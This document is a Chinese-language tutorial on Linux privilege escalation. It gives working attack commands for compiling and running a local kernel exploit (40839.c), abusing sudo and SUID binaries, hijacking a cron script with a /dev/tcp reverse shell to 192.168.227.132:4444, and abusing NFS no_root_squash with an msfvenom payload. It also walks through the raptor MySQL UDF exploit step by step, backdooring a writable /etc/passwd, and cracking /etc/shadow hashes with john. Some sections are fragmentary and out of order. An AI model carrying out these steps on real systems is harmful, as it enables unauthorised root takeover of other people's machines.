Linux提权
通过使用wget命令下载文件40839.c
,然后进行格式转换,使用gcc编译40839.c
并链接-lcrypt
库,最后运行生成的可执行文件40839
,成功提升权限!之后记得恢复原样,将备份的passwd.bak
文件移回/etc/passwd
目录。
2. 滥用SUDO提权
2.1 什么是sudo
sudo
是Linux系统管理指令,允许系统管理员授权普通用户执行部分或全部的root命令。它可以减少root用户的登录和管理时间,提高安全性。sudo
不是shell的替代品,而是基于每个命令的基础。
它具有以下特性:
sudo
能够限制用户只在特定主机上运行特定命令。sudo
提供了丰富的日志记录,详细记录每个用户的操作,并可以将日志传输到中心主机或日志服务器。sudo
使用时间戳文件实现类似的"检票"系统。当用户调用sudo
并输入密码时,用户获得一张有效期为5分钟的票据(该值可在编译时更改)。sudo
的配置文件是sudoers
文件,允许系统管理员集中管理用户的权限和使用的主机。默认存放位置为/etc/sudoers
,属性必须为0440。
在sudo
出现之前,一般用户管理系统的方式是使用su
切换到超级用户。但使用su
的缺点之一是需要提供超级用户的密码。sudo
使一般用户无需知道超级用户密码即可获得权限。首先,超级用户将普通用户的名称、可执行的特定命令以及以哪种用户或用户组的身份执行等信息记录在特殊文件中(通常是/etc/sudoers
),完成对该用户的授权(此时该用户称为"sudoer")。当一般用户需要获取特殊权限时,在命令前加上sudo
,sudo
将要求用户输入自己的密码(以确认终端前的是该用户本人),回答后系统将以超级用户权限运行该命令。在一段时间内(默认为5分钟,可在/etc/sudoers
自定义),使用sudo
不需要再次输入密码。一些Unix系统甚至利用sudo
使一般用户取代超级用户作为管理帐号,例如Ubuntu、Mac OS X等。
2.2 Sudoer文件语法
2.3 利用SUDO提权
原理很简单,当存在滥用sudo
的情况时,当前用户无需输入密码即可以root权限执行指定文件。如果该文件又可以执行系统命令,那就实现了以root权限运行系统命令。使用sudo -l
命令可以显示允许当前用户使用的命令。
辅助网址:https://gtfobins.github.io/
sudo find . -exec /bin/sh \; -quit
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
通过以下代码进行提权:
3. SUID提权
SUID是一种特殊权限,允许调用者在执行过程中暂时获得该文件拥有者的权限。如果能找到并运行root用户所拥有的SUID文件,就可以在运行该文件时获得root用户权限。简单来说,这个文件的拥有者是root,而且该文件可以通过某种语法执行系统命令,那么就可以提升到root权限了。
https://gtfobins.github.io/
find . -exec /bin/sh \; -quit
cat /etc/crontab
3.2 辅助网站
4. 计划任务提权
如果能找到有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当查看计划任务,找到有修改权限的计划任务脚本,在计划任务对应中追加提权后门,然后查询计划任务脚本。
修改计划任务为反弹shll的脚本即可
vi check.sh 打开文件
/bin/bash -i >& /dev/tcp/192.168.227.132/4444 0>&1 写入反弹shell
cat /etc/exports # 如果啥也没有就是没有开启nfs,也就无法提权了
成功提权!
5. 第三方服务NFS提权
如果在Linux服务器上具有低特权shell,并且发现服务器中具有NFS共享,可以利用它来升级特权。但成功与否取决于NFS的配置方式。
5.1 什么是NFS
网络文件系统(NFS)是一个客户端/服务器应用程序,允许计算机用户像在自己的计算机上一样查看、选择、存储和更新远程计算机上的文件。NFS是几个分布式文件系统标准之一,也是网络附加存储(NAS)的一种。
NFS基于UDP/IP协议,主要采用远程过程调用(RPC)机制实现,RPC提供了一组与机器、操作系统和传输协议无关的远程文件存取操作。RPC使用XDR协议支持,XDR是一种与机器体系结构无关的数据描述编码协议,以独立于任何机器体系结构的格式对传输的数据进行编码和解码,支持在异构系统之间传输数据。
5.2 什么是rootsquash和noroot_squash
Root Squashing(rootsquash)参数阻止连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户"nfsnobody",它具有最低的本地特权。如果启用了norootsquash选项,并为远程用户授予root用户对所连接系统的访问权限,那么攻击者使用本地root用户连接时,在目标系统上的操作权限也将是root权限。注意:要利用此功能,必须启用noroot_squash选项。
- root_squash:当客户机使用root用户访问共享文件夹时,将root用户映射为匿名用户(默认设置)。
- norootsquash:当客户机使用root用户访问共享文件夹时,不映射root用户为匿名用户,仍然是root用户。
5.3 利用NFS提权
首先假设我们已经获得一个低权限的shell,然后查看目标服务器上是否启用了NFS。
很简单,当NFS配置了norootsquash时,客户端就具有了该NFS机器的root权限,即其他机器连接它时具有root权限。
利用步骤:
- 查看NFS服务器上的共享目录(在Kali上操作)。
mkdir /tmp/abc
mount -o rw,vers=3 192.168.227.144:/tmp /tmp/abv
cd /tmp/abc
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/abc/shell.elf
chmod +xs shell.elf
show variables like '%secure_file_priv%';
show variables like "%plugin%";
创建本地挂载目录,并挂载共享目录。使用攻击者本地root权限创建shell,生成木马。
在靶机上执行文件。
完成后取消挂载,使用
umount /tmp/abc
命令。
6. udf提权
原理是通过自定义库函数来实现执行任意程序。
searchsploit mysql udf
searchsploit mysql udf -m 1518.c
gcc -g -c 1518.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
通过history
查询历史指令,找到MySQL账户密码。通过指令查看secure_file_priv
为空。提权步骤:
- 准备提权文件。
- 下载文件并编译。
- 使用
mysql-udf
提权。
7. 不安全配置
7.1 /etc/passwd可写
先查看/etc/passwd
权限,使用openssl
编译密码,通过echo
写入passwd
文件,并通过su newroot
登录。
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
7.2 /etc/shadow可读
先查看是否可读,如果可读,则读取root用户密码并解码。将root用户的哈希保存到Kali上名为hash.txt
的文件中,并使用john
破解它。可能需要先解压/usr/share/wordlist/rockyou.txt.gz
,然后根据Kali版本使用sudo
运行命令。